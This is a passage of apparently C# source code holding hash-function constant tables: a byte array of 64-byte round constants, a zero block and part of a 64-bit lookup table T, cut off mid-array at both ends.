    (byte)0x72, (byte)0x61, (byte)0x44, (byte)0x51, (byte)0x83, (byte)0x23, (byte)0x5a, (byte)0xdb},\n        new byte[] {\n            (byte)0xab, (byte)0xbe, (byte)0xde, (byte)0xa6, (byte)0x80, (byte)0x05, (byte)0x6f, (byte)0x52,\n            (byte)0x38, (byte)0x2a, (byte)0xe5, (byte)0x48, (byte)0xb2, (byte)0xe4, (byte)0xf3, (byte)0xf3,\n            (byte)0x89, (byte)0x41, (byte)0xe7, (byte)0x1c, (byte)0xff, (byte)0x8a, (byte)0x78, (byte)0xdb,\n            (byte)0x1f, (byte)0xff, (byte)0xe1, (byte)0x8a, (byte)0x1b, (byte)0x33, (byte)0x61, (byte)0x03,\n            (byte)0x9f, (byte)0xe7, (byte)0x67, (byte)0x02, (byte)0xaf, (byte)0x69, (byte)0x33, (byte)0x4b,\n            (byte)0x7a, (byte)0x1e, (byte)0x6c, (byte)0x30, (byte)0x3b, (byte)0x76, (byte)0x52, (byte)0xf4,\n            (byte)0x36, (byte)0x98, (byte)0xfa, (byte)0xd1, (byte)0x15, (byte)0x3b, (byte)0xb6, (byte)0xc3,\n            (byte)0x74, (byte)0xb4, (byte)0xc7, (byte)0xfb, (byte)0x98, (byte)0x45, (byte)0x9c, (byte)0xed},\n        new byte[] {\n            (byte)0x7b, (byte)0xcd, (byte)0x9e, (byte)0xd0, (byte)0xef, (byte)0xc8, (byte)0x89, (byte)0xfb,\n            (byte)0x30, (byte)0x02, (byte)0xc6, (byte)0xcd, (byte)0x63, (byte)0x5a, (byte)0xfe, (byte)0x94,\n            (byte)0xd8, (byte)0xfa, (byte)0x6b, (byte)0xbb, (byte)0xeb, (byte)0xab, (byte)0x07, (byte)0x61,\n            (byte)0x20, (byte)0x01, (byte)0x80, (byte)0x21, (byte)0x14, (byte)0x84, (byte)0x66, (byte)0x79,\n            (byte)0x8a, (byte)0x1d, (byte)0x71, (byte)0xef, (byte)0xea, (byte)0x48, (byte)0xb9, (byte)0xca,\n            (byte)0xef, (byte)0xba, (byte)0xcd, (byte)0x1d, (byte)0x7d, (byte)0x47, (byte)0x6e, (byte)0x98,\n            (byte)0xde, (byte)0xa2, (byte)0x59, (byte)0x4a, (byte)0xc0, (byte)0x6f, (byte)0xd8, (byte)0x5d,\n            (byte)0x6b, (byte)0xca, (byte)0xa4, (byte)0xcd, (byte)0x81, (byte)0xf3, (byte)0x2d, (byte)0x1b},\n        new byte[] {\n            (byte)0x37, (byte)0x8e, (byte)0xe7, (byte)0x67, (byte)0xf1, (byte)0x16, (byte)0x31, (byte)0xba,\n            (byte)0xd2, (byte)0x13, (byte)0x80, (byte)0xb0, (byte)0x04, (byte)0x49, (byte)0xb1, (byte)0x7a,\n            (byte)0xcd, (byte)0xa4, (byte)0x3c, (byte)0x32, (byte)0xbc, (byte)0xdf, (byte)0x1d, (byte)0x77,\n            (byte)0xf8, (byte)0x20, (byte)0x12, (byte)0xd4, (byte)0x30, (byte)0x21, (byte)0x9f, (byte)0x9b,\n            (byte)0x5d, (byte)0x80, (byte)0xef, (byte)0x9d, (byte)0x18, (byte)0x91, (byte)0xcc, (byte)0x86,\n            (byte)0xe7, (byte)0x1d, (byte)0xa4, (byte)0xaa, (byte)0x88, (byte)0xe1, (byte)0x28, (byte)0x52,\n            (byte)0xfa, (byte)0xf4, (byte)0x17, (byte)0xd5, (byte)0xd9, (byte)0xb2, (byte)0x1b, (byte)0x99,\n            (byte)0x48, (byte)0xbc, (byte)0x92, (byte)0x4a, (byte)0xf1, (byte)0x1b, (byte)0xd7, (byte)0x20}\n    };\n\n        private  static readonly byte[] Zero = {\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\n    };\n\n        private readonly static ulong[][] T = {\n       new ulong[] {\n            0xE6F87E5C5B711FD0L, 0x258377800924FA16L, 0xC849E07E852EA4A8L, 0x5B4686A18F06C16AL,\n            0x0B32E9A2D77B416EL, 0xABDA37A467815C66L, 0xF61796A81A686676L, 0xF5DC0B706391954BL,\n            0x4862F38DB7E64BF1L, 0xFF5C629A68BD85C5L, 0xCB827DA6FCD75795L, 0x66D36DAF69B9F089L,\n            0x356C9F74483D83B0L, 0x7CBCECB1238C99A1L, 0x36A702AC31C4708DL, 0x9EB6A8D02FBCDFD6L,\n            0x8B19FA51E5B3AE37L, 0x9CCFB5408A127D0BL, 0xBC0C78B508208F5AL, 0xE533E3842288ECEDL,\n            0xCEC2C7D377C15FD2L, 0xEC7817B6505D0F5EL, 0xB94CC2C08336871DL, 0x8C205DB4CB0B04ADL,\n            0x763C855B28A0892FL, 0x588D1B79F6FF3257L, 0x3FECF69E4311933EL, 0x0FC0D39F803A18C9L,\n            0xEE010A26F5F3AD83L, 0x10EFE8F4411979A6L, 0x5DCDA10C7DE93A10L, 0x4A1BEE1D1248E92CL,\n            0x53BFF2DB21847339L, 0xB4F50CCFA6A23D09L, 0x5FB4BC9CD84798CDL, 0xE88A2D8B071C56F9L,\n            0x7F7771695A756A9CL, 0xC5F02E71A0BA1EBCL, 0xA663F9AB4215E672L, 0x2EB19E22DE5FBB78L,\n            0x0DB9CE0F2594BA14L, 0x82520E6397664D84L, 0x2F031E6A0208EA98L, 0x5C7F2144A1BE6BF0L,\n            0x7A37CB1CD16362DBL, 0x83E08E2B4B311C64L, 0xCF70479BAB960E32L, 0x856BA986B9DEE71EL,\n            0xB5478C877AF56CE9L, 0xB8FE42885F61D6FDL, 0x1BDD0156966238C8L, 0x622157923EF8A92EL,\n            0xFC97FF42114476F8L, 0x9D7D350856452CEBL, 0x4C90C9B0E0A71256L, 0x2308502DFBCB016CL,\n            0x2D7A03FAA7A64845L, 0xF46E8B38BFC6C4ABL, 0xBDBEF8FDD477DEBAL, 0x3AAC4CEBC8079B79L,\n            0xF09CB105E8879D0CL, 0x27FA6A10AC8A58CBL, 0x8960E7C1401D0CEAL, 0x1A6F811E4A356928L,\n            0x90C4FB0773D196FFL, 0x43501A2F609D0A9FL, 0xF7A516E0C63F3796L, 0x1CE4A6B3B8DA9252L,\n            0x1324752C38E08A9BL, 0xA5A864733BEC154FL, 0x2BF124575549B33FL, 0xD766DB15440DC5C7L,\n            0xA7D179E39E42B792L, 0xDADF151A61997FD3L, 0x86A0345EC0271423L, 0x38D5517B6DA939A4L,\n            0x6518F077104003B4L, 0x02791D90A5AEA2DDL, 0x88D267899C4A5D0AL, 0x930F66DF0A2865C2L,\n            0x4EE9D4204509B08BL, 0x325538916685292AL, 0x412907BFC533A842L, 0xB27E2B62544DC673L,\n            0x6C5304456295E007L, 0x5AF406E95351908AL, 0x1F2F3B6BC123616FL, 0xC37B09DC5255E5C6L,\n            0x3967D133B1FE6844L, 0x298839C7F0E711E2L, 0x409B87F71964F9A2L, 0xE938ADC3DB4B0719L,\n            0x0C0B4E47F9C3EBF4L, 0x5534D576D36B8843L, 0x4610A05AEB8B02D8L, 0x20C3CDF58232F251L,\n            0x6DE1840DBEC2B1E7L, 0xA0E8DE06B0FA1D08L, 0x7B854B540D34333BL, 0x42E29A67BCCA5B7FL,\n            0xD8A6088AC437DD0EL, 0xC63BB3A9D943ED81L, 0x21714DBD5E65A3B1L, 0x6761EDE7B5EEA169L,\n            0x2431F7C8D573ABF6L, 0xD51FC685E1A3671AL, 0x5E063CD40410C92DL, 0x283AB98F2CB04002L,\n            0x8FEBC06CB2F2F790L, 0x17D64F116FA1D33CL, 0xE07359F1A99EE4AAL, 0x784ED68C74CDC006L,\n            0x6E2A19D5C73B42DAL, 0x8712B4161C7045C3L, 0x371582E4ED93216DL, 0xACE390414939F6FCL,\n            0x7EC5F12186223B7CL, 0xC0B094042BAC16FBL, 0xF9D745379A527EBFL, 0x737C3F2EA3B68168L,\n            0x33E7B8D9BAD278CAL, 0xA9A32A34C22FFEBBL, 0xE48163CCFEDFBD0DL, 0x8E5940246EA5A670L,\n            0x51C6EF4B842AD1E4L, 0x22BAD065279C508CL, 0xD91488C218608CEEL, 0x319EA5491F7CDA17L,\n            0xD394E128134C9C60L, 0x094BF43272D5E3B3L, 0x9BF612A5A4AAD791L, 0xCCBBDA43D26FFD0FL,\n            0x34DE1F3C946AD250L, 0x4F5B5468995EE16BL, 0xDF9FAF6FEA8F7794L, 0x2648EA5870DD092BL,\n            0xBFC7E56D71D97C67L, 0xDDE6B2FF4F21D549L, 0x3C276B463AE86003L, 0x91767B4FAF86C71FL,\n            0x68A13E7835D4B9A0L, 0xB68C115F030C9FD4L, 0x141DD2C916582001L, 0x983D8F7DDD5324ACL,\n            0x64AA703FCC175254L, 0xC2C989948E02B426L, 0x3E5E76D69F46C2DEL, 0x50746F03587D8004L,\n            0x45DB3D829272F1E5L, 0x60584A029B560BF3L, 0xFBAE58A73FFCDC62L, 0xA15A5E4E6CAD4CE8L,\n            0x4BA96E55CE1FB8CCL, 0x08F9747AAE82B253L, 0xC102144CF7FB471BL, 0x9F042898F3EB8E36L,\n            0x068B27ADF2EFFB7AL, 0xEDCA97FE8C0A5EBEL, 0x778E0513F4F7D8CFL, 0x302C2501C32B8BF7L,\n            0x8D92DDFC175C554DL, 0xF865C57F46052F5FL, 0xEAF3301BA2B2F424L, 0xAA68B7ECBBD60D86L,\n            0x998F0F350104754CL, 0x0000000000000000L, 0xF12E314D34D0CCECL, 0x710522BE061823B5L,\n            0xAF280D9930C005C1L, 0x97FD5CE25D693C65L, 0x19A41CC633CC9A15L, 0x95844172F8C79EB8L,\n            0xDC5432B7937684A9L, 0x9436C13A2490CF58L, 0x802B13F332C8EF59L, 0xC442AE397CED4F5CL,\n            0xFA1CD8EFE3AB8D82L, 0xF2E5AC954D293FD1L, 0x6AD823E8907A1B7DL, 0x4D2249F83CF043B6L,\n            0x03CB9DD879F9F33DL, 0xDE2D2F2736D82674L, 0x2A43A41F891EE2DFL, 0x6F98999D1B6C133AL,\n            0xD4AD46CD3DF436FAL, 0xBB35DF50269825C0L, 0x964FDCAA813E6D85L, 0xEB41B0537EE5A5C4L,\n            0x0540BA758B160847L, 0xA41AE43BE7BB44AFL, 0xE3B8C429D0671797L, 0x819993BBEE9FBEB9L,\n            0xAE9A8DD1EC975421L, 0xF3572CDD917E6E31L, 0x6393D7DAE2AFF8CEL, 0x47A2201237DC5338L,\n            0xA32343DEC903EE35L, 0x79FC56C4A89A91E6L, 0x01B28048DC5751E0L, 0x1296F564E4B7DB7BL,\n            0x75F7188351597A12L, 0xDB6D9552BDCE2E33L, 0x1E9DBB231D74308FL, 0x520D7293FDD322D9L,\n            0xE20A44610C304677L, 0xFEEEE2D2B4EAD425L, 0xCA30FDEE20800675L, 0x61EACA4A47015A13L,\n            0xE74AFE1487264E30L, 0x2CC883B27BF119A5L, 0x1664CF59B3F682DCL, 0xA811AA7C1E78AF5BL,\n            0x1D5626FB648DC3B2L, 0xB73E9117DF5BCE34L, 0xD05F7CF06AB56F5DL, 0xFD257F0ACD132718L,\n            0x574DC8E676C52A9EL, 0x0739A7E52EB8AA9AL, 0x5486553E0F3CD9A3L, 0x56FF48AEAA927B7EL,\n            0xBE756525AD8E2D87L, 0x7D0E6CF9FFDBC841L, 0x3B1ECCA31450CA99L, 0x6913BE30E983E840L,\n            0xAD511009956EA71CL, 0xB1B5B6BA2DB4354EL, 0x4469BDCA4E25A005L, 0x15AF5281CA0F71E1L,\n            0x744598CB8D0E2BF2L, 0x593F9B312AA863B7L, 0xEFB38A6E29A4FC63L, 0x6B6AA3A04C2D4A9DL,\n            0x3D95EB0EE6BF31E3L, 0xA291C3961554BFD5L, 0x18169C8EEF9BCBF5L, 0x115D68BC9D4E2846L,\n            0xBA875F18FACF7420L, 0xD1EDFCB8B6E23EBDL, 0xB00736F2F1E364AEL, 0x84D929CE6589B6FEL,\n            0x70B7A2F6DA4F7255L, 0x0E7253D75C6D4929L, 0x04F23A3D574159A7L, 0x0A8069EA0B2C108EL,\n            0x49D073C56BB11A11L, 0x8AAB7A1939E4FFD7L, 0xCD095A0B0E38ACEFL, 0xC9FB60365979F548L,\n            0x92BDE697D67F3422L, 0xC78933E10514BC61L, 0xE1C1D9B975C9B54AL, 0xD2266160CF1BCD80L,\n            0x9A4492ED78FD8671L, 0xB3CCAB2A881A9793L, 0x72CEBF667FE1D088L, 0xD6D45B5D985A9427L\n        },\n        new ulong[]{\n            0xC811A8058C3F55DEL, 0x65F5B43196B50619L, 0xF74F96B1D6706E43L, 0x859D1E8BCB43D336L,\n            0x5AAB8A85CCFA3D84L, 0xF9C7BF99C295FCFDL, 0xA21FD5A1DE4B630FL, 0xCDB3EF763B8B456DL,\n            0x803F59F87CF7C385L, 0xB27C73BE5F31913CL, 0x98E3AC6633B04821L, 0xBF61674C26B8F818L,\n            0x0FFBC995C4C130C8L, 0xAAA0862010761A98L, 0x6057F342210116AAL, 0xF63C760C0654CC35L,\n            0x2DDB45CC667D9042L, 0xBCF45A964BD40382L, 0x68E8A0C3EF3C6F3DL, 0xA7BD92D269FF73BCL,\n            0x290AE20201ED2287L, 0xB7DE34CDE885818FL, 0xD901EEA7DD61059BL, 0xD6FA273219A03553L,\n            0xD56F1AE874CCCEC9L, 0xEA31245C2E83F554L, 0x7034555DA07BE499L, 0xCE26D2AC56E7BEF7L,\n            0xFD161857A5054E38L, 0x6A0E7DA4527436D1L, 0x5BD86A381CDE9FF2L, 0xCAF7756231770C32L,\n            0xB09AAED9E279C8D0L, 0x5DEF1091C60674DBL, 0x111046A2515E5045L, 0x23536CE4729802FCL,\n            0xC50CBCF7F5B63CFAL, 0x73A16887CD171F03L, 0x7D2941AFD9F28DBDL, 0x3F5E3EB45A4F3B9DL,\n            0x84EEFE361B677140L, 0x3DB8E3D3E7076271L, 0x1A3A28F9F20FD248L, 0x7EBC7C75B49E7627L,\n            0x74E5F293C7EB565CL, 0x18DCF59E4F478BA4L, 0x0C6EF44FA9ADCB52L, 0xC699812D98DAC760L,\n            0x788B06DC6E469D0EL, 0xFC65F8EA7521EC4EL, 0x30A5F7219E8E0B55L, 0x2BEC3F65BCA57B6BL,\n            0xDDD04969BAF1B75EL, 0x99904CDBE394EA57L, 0x14B201D1E6EA40F6L, 0xBBB0C08241284ADDL,\n            0x50F20463BF8F1DFFL, 0xE8D7F93B93CBACB8L, 0x4D8CB68E477C86E8L, 0xC1DD1B3992268E3FL,\n            0x7C5AA11209D62FCBL, 0x2F3D98ABDB35C9AEL, 0x671369562BFD5FF5L, 0x15C1E16C36CEE280L,\n            0x1D7EB2EDF8F39B17L, 0xDA94D37DB00DFE01L, 0x877BC3EC760B8ADAL, 0xCB8495DFE153AE44L,\n            0x05A24773B7B410B3L, 0x12857B783C32ABDFL, 0x8EB770D06812513BL, 0x536739B9D2E3E665L,\n            0x584D57E271B26468L, 0xD789C78FC9849725L, 0xA935BBFA7D1AE102L, 0x8B1537A3DFA64188L,\n            0xD0CD5D9BC378DE7AL, 0x4AC82C9A4D80CFB7L, 0x42777F1B83BDB620L, 0x72D2883A1D33BD75L,\n            0x5E7A2D4BAB6A8F41L, 0xF4DAAB6BBB1C95D9L, 0x905CFFE7FD8D31B6L, 0x83AA6422119B381FL,\n            0xC0AEFB8442022C49L, 0xA0F908C663033AE3L, 0xA428AF0804938826L, 0xADE41C341A8A53C7L,\n            0xAE7121EE77E6A85DL, 0xC47F5C4A25929E8CL, 0xB538E9AA55CDD863L, 0x06377AA9DAD8EB29L,\n            0xA18AE87BB3279895L, 0x6EDFDA6A35E48414L, 0x6B7D9D19825094A7L, 0xD41CFA55A4E86CBFL,\n            0xE5CAEDC9EA42C59CL, 0xA36C351C0E6FC179L, 0x5181E4DE6FABBF89L, 0xFFF0C530184D17D4L,\n            0x9D41EB1584045892L, 0x1C0D525028D73961L, 0xF178EC180CA8856AL, 0x9A0571018EF811CDL,\n            0x4091A27C3EF5EFCCL, 0x19AF15239F6329D2L, 0x347450EFF91EB990L, 0xE11B4A078DD27759L,\n            0xB9561DE5FC601331L, 0x912F1F5A2DA993C0L, 0x1654DCB65BA2191AL, 0x3E2DDE098A6B99EBL,\n            0x8A66D71E0F82E3FEL, 0x8C51ADB7D55A08D7L, 0x4533E50F8941FF7FL, 0x02E6DD67BD4859ECL,\n            0xE068AABA5DF6D52FL, 0xC24826E3FF4A75A5L, 0x6C39070D88ACDDF8L, 0x6486548C4691A46FL,\n            0xD1BEBD26135C7C0CL, 0xB30F93038F15334AL, 0x82D9849FC1BF9A69L, 0x9C320BA85420FAE4L,\n            0xFA528243AFF90767L, 0x9ED4D6CFE968A308L, 0xB825FD582C44B147L, 0x9B7691BC5EDCB3BBL,\n            0xC7EA619048FE6516L, 0x1063A61F817AF233L, 0x47D538683409A693L, 0x63C2CE984C6DED30L,\n            0x2A9FDFD86C81D91DL, 0x7B1E3B06032A6694L, 0x666089EBFBD9FD83L, 0x0A598EE67375207BL,\n            0x07449A140AFC495FL, 0x2CA8A571B6593234L, 0x1F986F8A45BBC2FBL, 0x381AA4A050B372C2L,\n            0x5423A3ADD81FAF3AL, 0x17273C0B8B86BB6CL, 0xFE83258DC869B5A2L, 0x287902BFD1C980F1L,\n            0xF5A94BD66B3837AFL, 0x88800A79B2CABA12L, 0x55504310083B0D4CL, 0xDF36940E07B9EEB2L,\n            0x04D1A7CE6790B2C5L, 0x612413FFF125B4DCL, 0x26F12B97C52C124FL, 0x86082351A62F28ACL,\n            0xEF93632F9937E5E7L, 0x3507B052293A1BE6L, 0xE72C30AE570A9C70L, 0xD3586041AE1425E0L,\n            0xDE4574B3D79D4CC4L, 0x92BA228040C5685AL, 0xF00B0CA5DC8C271CL, 0xBE1287F1F69C5A6EL,\n            0xF39E317FB1E0DC86L, 0x495D114020EC342DL, 0x699B407E3F18CD4BL, 0xDCA3A9D46AD51528L,\n            0x0D1D14F279896924L, 0x0000000000000000L, 0x593EB75FA196C61EL, 0x2E4E78160B116BD8L,\n            0x6D4AE7B058887F8EL, 0xE65FD013872E3E06L, 0x7A6DDBBBD30EC4E2L, 0xAC97FC89CAAEF1B1L,\n            0x09CCB33C1E19DBE1L, 0x89F3EAC462EE1864L, 0x7770CF49AA87ADC6L, 0x56C57ECA6557F6D6L,\n            0x03953DDA6D6CFB9AL, 0x36928D884456E07CL, 0x1EEB8F37959F608DL, 0x31D6179C4EAAA923L,\n            0x6FAC3AD7E5C02662L, 0x43049FA653991456L, 0xABD3669DC052B8EEL, 0xAF02C153A7C20A2BL,\n            0x3CCB036E3723C007L, 0x93C9C23D90E1CA2CL, 0xC33BC65E2F6ED7D3L, 0x4CFF56339758249EL,\n            0xB1E94E64325D6AA6L, 0x37E16D359472420AL, 0x79F8E661BE623F78L, 0x5214D90402C74413L,\n            0x482EF1FDF0C8965BL, 0x13F69BC5EC1609A9L, 0x0E88292814E592BEL, 0x4E198B542A107D72L,\n            0xCCC00FCBEBAFE71BL, 0x1B49C844222B703EL, 0x2564164DA840E9D5L, 0x20C6513E1FF4F966L,\n            0xBAC3203F910CE8ABL, 0xF2EDD1C261C47EF0L, 0x814CB945ACD361F3L, 0x95FEB8944A392105L,\n            0x5C9CF02C1622D6ADL, 0x971865F3F77178E9L, 0xBD87BA2B9BF0A1F4L, 0x444005B259655D09L,\n            0xED75BE48247FBC0BL, 0x7596122E17CFF42AL, 0xB44B091785E97A15L, 0x966B854E2755DA9FL,\n            0xEEE0839249134791L, 0x32432A4623C652B9L, 0xA8465B47AD3E4374L, 0xF8B45F2412B15E8BL,\n            0x2417F6F078644BA3L, 0xFB2162FE7FDDA511L, 0x4BBBCC279DA46DC1L, 0x0173E0BDD024A276L,\n            0x22208C59A2BCA08AL, 0x8FC4906DB836F34DL, 0xE4B90D743A6667EAL, 0x7147B5E0705F46EFL,\n            0x2782CB2A1508B039L, 0xEC065EF5F45B1E7DL, 0x21B5B183CFD05B10L, 0xDBE733C060295C77L,\n            0x9FA73672394C017EL, 0xCF55321186C31C81L, 0xD8720E1A0D45A7EDL, 0x3B8F997A3DDF8958L,\n            0x3AFC79C7EDFB2B2EL, 0xE9A4198643EF0ECEL, 0x5F09CDF67B4E2D37L, 0x4F6A6BE9FA34DF04L,\n            0xB6ADD47038A123F9L, 0x8D224D0A057EAAA1L, 0xC96248B85C1BF7A8L, 0xE3FD9760309A2EB5L,\n            0x0B2A6E5BA351820DL, 0xEB42C4E1FEA75722L, 0x948D58299A1D8373L, 0x7FCF9CC864BAD451L,\n            0xA55B4FB5D4B72A50L, 0x08BF5381CE3D7997L, 0x46A6D8D5E42D04E5L, 0xD22B80FC7E308796L,\n            0x57B69E77B57354A0L, 0x3969441D8097D0B4L, 0x3330CAFBF3E2F0CFL, 0xE28E77DDE0BE8CC3L,\n            0x62B12E259C494F46L, 0xA6CE726FB9DBD1CAL, 0x41E242C1EED14DBAL, 0x76032FF47AA30FB0L\n        },\n        new ulong[]{\n            0x45B268A93ACDE4CCL, 0xAF7F0BE884549D08L, 0x048354B3C1468263L, 0x925435C2C80EFED2L,\n            0xEE4E37F27FDFFBA7L, 0x167A33920C60F14DL, 0xFB123B52EA03E584L, 0x4A0CAB53FDBB9007L,\n            0x9DEAF6380F788A19L, 0xCB48EC558F0CB32AL, 0xB59DC4B2D6FEF7E0L, 0xDCDBCA22F4F3ECB6L,\n            0x11DF5813549A9C40L, 0xE33FDEDF568ACED3L, 0xA0C1C8124322E9C3L, 0x07A56B8158FA6D0DL,\n            0x77279579B1E1F3DDL, 0xD9B18B74422AC004L, 0xB8EC2D9FFFABC294L, 0xF4ACF8A82D75914FL,\n            0x7BBF69B1EF2B6878L, 0xC4F62FAF487AC7E1L, 0x76CE809CC67E5D0CL, 0x6711D88F92E4C14CL,\n            0x627B99D9243DEDFEL, 0x234AA5C3DFB68B51L, 0x909B1F15262DBF6DL, 0x4F66EA054B62BCB5L,\n            0x1AE2CF5A52AA6AE8L, 0xBEA053FBD0CE0148L, 0xED6808C0E66314C9L, 0x43FE16CD15A82710L,\n            0xCD049231A06970F6L, 0xE7BC8A6C97CC4CB0L, 0x337CE835FCB3B9C0L, 0x65DEF2587CC780F3L,\n            0x52214EDE4132BB50L, 0x95F15E4390F493DFL, 0x870839625DD2E0F1L, 0x41313C1AFB8B66AFL,\n            0x91720AF051B211BCL, 0x477D427ED4EEA573L, 0x2E3B4CEEF6E3BE25L, 0x82627834EB0BCC43L,\n            0x9C03E3DD78E724C8L, 0x2877328AD9867DF9L, 0x14B51945E243B0F2L, 0x574B0F88F7EB97E2L,\n            0x88B6FA989AA4943AL, 0x19C4F068CB168586L, 0x50EE6409AF11FAEFL, 0x7DF317D5C04EABA4L,\n            0x7A567C5498B4C6A9L, 0xB6BBFB804F42188EL, 0x3CC22BCF3BC5CD0BL, 0xD04336EAAA397713L,\n            0xF02FAC1BEC33132CL, 0x2506DBA7F0D3488DL, 0xD7E65D6BF2C31A1EL, 0x5EB9B2161FF820F5L,\n            0x842E0650C46E0F9FL, 0x716BEB1D9E843001L, 0xA933758CAB315ED4L, 0x3FE414FDA2792265L,\n            0x27C9F1701EF00932L, 0x73A4C1CA70A771BEL, 0x94184BA6E76B3D0EL, 0x40D829FF8C14C87EL,\n            0x0FBEC3FAC77674CBL, 0x3616A9634A6A9572L, 0x8F139119C25EF937L, 0xF545ED4D5AEA3F9EL,\n            0xE802499650BA387BL, 0x6437E7BD0B582E22L, 0xE6559F89E053E261L, 0x80AD52E305288DFCL,\n            0x6DC55A23E34B9935L, 0xDE14E0F51AD0AD09L, 0xC6390578A659865EL, 0x96D7617109487CB1L,\n            0xE2D6CB3A21156002L, 0x01E915E5779FAED1L, 0xADB0213F6A77DCB7L, 0x9880B76EB9A1A6ABL,\n            0x5D9F8D248644CF9BL, 0xFD5E4536C5662658L, 0xF1C6B9FE9BACBDFDL, 0xEACD6341BE9979C4L,\n            0xEFA7221708405576L, 0x510771ECD88E543EL, 0xC2BA51CB671F043DL, 0x0AD482AC71AF5879L,\n            0xFE787A045CDAC936L, 0xB238AF338E049AEDL, 0xBD866CC94972EE26L, 0x615DA6EBBD810290L,\n            0x3295FDD08B2C1711L, 0xF834046073BF0AEAL, 0xF3099329758FFC42L, 0x1CAEB13E7DCFA934L,\n            0xBA2307481188832BL, 0x24EFCE42874CE65CL, 0x0E57D61FB0E9DA1AL, 0xB3D1BAD6F99B343CL,\n            0xC0757B1C893C4582L, 0x2B510DB8403A9297L, 0x5C7698C1F1DB614AL, 0x3E0D0118D5E68CB4L,\n            0xD60F488E855CB4CFL, 0xAE961E0DF3CB33D9L, 0x3A8E55AB14A00ED7L, 0x42170328623789C1L,\n            0x838B6DD19C946292L, 0x895FEF7DED3B3AEBL, 0xCFCBB8E64E4A3149L, 0x064C7E642F65C3DCL,\n            0x3D2B3E2A4C5A63DAL, 0x5BD3F340A9210C47L, 0xB474D157A1615931L, 0xAC5934DA1DE87266L,\n            0x6EE365117AF7765BL, 0xC86ED36716B05C44L, 0x9BA6885C201D49C5L, 0xB905387A88346C45L,\n            0x131072C4BAB9DDFFL, 0xBF49461EA751AF99L, 0xD52977BC1CE05BA1L, 0xB0F785E46027DB52L,\n            0x546D30BA6E57788CL, 0x305AD707650F56AEL, 0xC987C682612FF295L, 0xA5AB8944F5FBC571L,\n            0x7ED528E759F244CAL, 0x8DDCBBCE2C7DB888L, 0xAA154ABE328DB1BAL, 0x1E619BE993ECE88BL,\n            0x09F2BD9EE813B717L, 0x7401AA4B285D1CB3L, 0x21858F143195CAEEL, 0x48C381841398D1B8L,\n            0xFCB750D3B2F98889L, 0x39A86A998D1CE1B9L, 0x1F888E0CE473465AL, 0x7899568376978716L,\n            0x02CF2AD7EE2341BFL, 0x85C713B5B3F1A14EL, 0xFF916FE12B4567E7L, 0x7C1A0230B7D10575L,\n            0x0C98FCC85ECA9BA5L, 0xA3E7F720DA9E06ADL, 0x6A6031A2BBB1F438L, 0x973E74947ED7D260L,\n            0x2CF4663918C0FF9AL, 0x5F50A7F368678E24L, 0x34D983B4A449D4CDL, 0x68AF1B755592B587L,\n            0x7F3C3D022E6DEA1BL, 0xABFC5F5B45121F6BL, 0x0D71E92D29553574L, 0xDFFDF5106D4F03D8L,\n            0x081BA87B9F8C19C6L, 0xDB7EA1A3AC0981BBL, 0xBBCA12AD66172DFAL, 0x79704366010829C7L,\n            0x179326777BFF5F9CL, 0x0000000000000000L, 0xEB2476A4C906D715L, 0x724DD42F0738DF6FL,\n            0xB752EE6538DDB65FL, 0x37FFBC863DF53BA3L, 0x8EFA84FCB5C157E6L, 0xE9EB5C73272596AAL,\n            0x1B0BDABF2535C439L, 0x86E12C872A4D4E20L, 0x9969A28BCE3E087AL, 0xFAFB2EB79D9C4B55L,\n            0x056A4156B6D92CB2L, 0x5A3AE6A5DEBEA296L, 0x22A3B026A8292580L, 0x53C85B3B36AD1581L,\n            0xB11E900117B87583L, 0xC51F3A4A3FE56930L, 0xE019E1EDCF3621BDL, 0xEC811D2591FCBA18L,\n            0x445B7D4C4D524A1DL, 0xA8DA6069DCAEF005L, 0x58F5CC72309DE329L, 0xD4C062596B7FF570L,\n            0xCE22AD0339D59F98L, 0x591CD99747024DF8L, 0x8B90C5AA03187B54L, 0xF663D27FC356D0F0L,\n            0xD8589E9135B56ED5L, 0x35309651D3D67A1CL, 0x12F96721CD26732EL, 0xD28C1C3D441A36ACL,\n            0x492A946164077F69L, 0x2D1D73DC6F5F514BL, 0x6F0A70F40D68D88AL, 0x60B4B30ECA1EAC41L,\n            0xD36509D83385987DL, 0x0B3D97490630F6A8L, 0x9ECCC90A96C46577L, 0xA20EE2C5AD01A87CL,\n            0xE49AB55E0E70A3DEL, 0xA4429CA182646BA0L, 0xDA97B446DB962F6AL, 0xCCED87D4D7F6DE27L,\n            0x2AB8185D37A53C46L, 0x9F25DCEFE15BCBA6L, 0xC19C6EF9FEA3EB53L, 0xA764A3931BD884CEL,\n            0x2FD2590B817C10F4L, 0x56A21A6D80743933L, 0xE573A0BB79EF0D0FL, 0x155C0CA095DC1E23L,\n            0x6C2C4FC694D437E4L, 0x10364DF623053291L, 0xDD32DFC7836C4267L, 0x03263F3299BCEF6EL,\n            0x66F8CD6AE57B6F9DL, 0x8C35AE2B5BE21659L, 0x31B3C2E21290F87FL, 0x93BD2027BF915003L,\n            0x69460E90220D1B56L, 0x299E276FAE19D328L, 0x63928C3C53A2432FL, 0x7082FEF8E91B9ED0L,\n            0xBC6F792C3EED40F7L, 0x4C40D537D2DE53DBL, 0x75E8BFAE5FC2B262L, 0x4DA9C0D2A541FD0AL,\n            0x4E8FFFE03CFD1264L, 0x2620E495696FA7E3L, 0xE1F0F408B8A98F6CL, 0xD1AA230FDDA6D9C2L,\n            0xC7D0109DD1C6288FL, 0x8A79D04F7487D585L, 0x4694579BA3710BA2L, 0x38417F7CFA834F68L,\n            0x1D47A4DB0A5007E5L, 0x206C9AF1460A643FL, 0xA128DDF734BD4712L, 0x8144470672B7232DL,\n            0xF2E086CC02105293L, 0x182DE58DBC892B57L, 0xCAA1F9B0F8931DFBL, 0x6B892447CC2E5AE9L,\n            0xF9DD11850420A43BL, 0x4BE5BEB68A243ED6L, 0x5584255F19C8D65DL, 0x3B67404E633FA006L,\n            0xA68DB6766C472A1FL, 0xF78AC79AB4C97E21L, 0xC353442E1080AAECL, 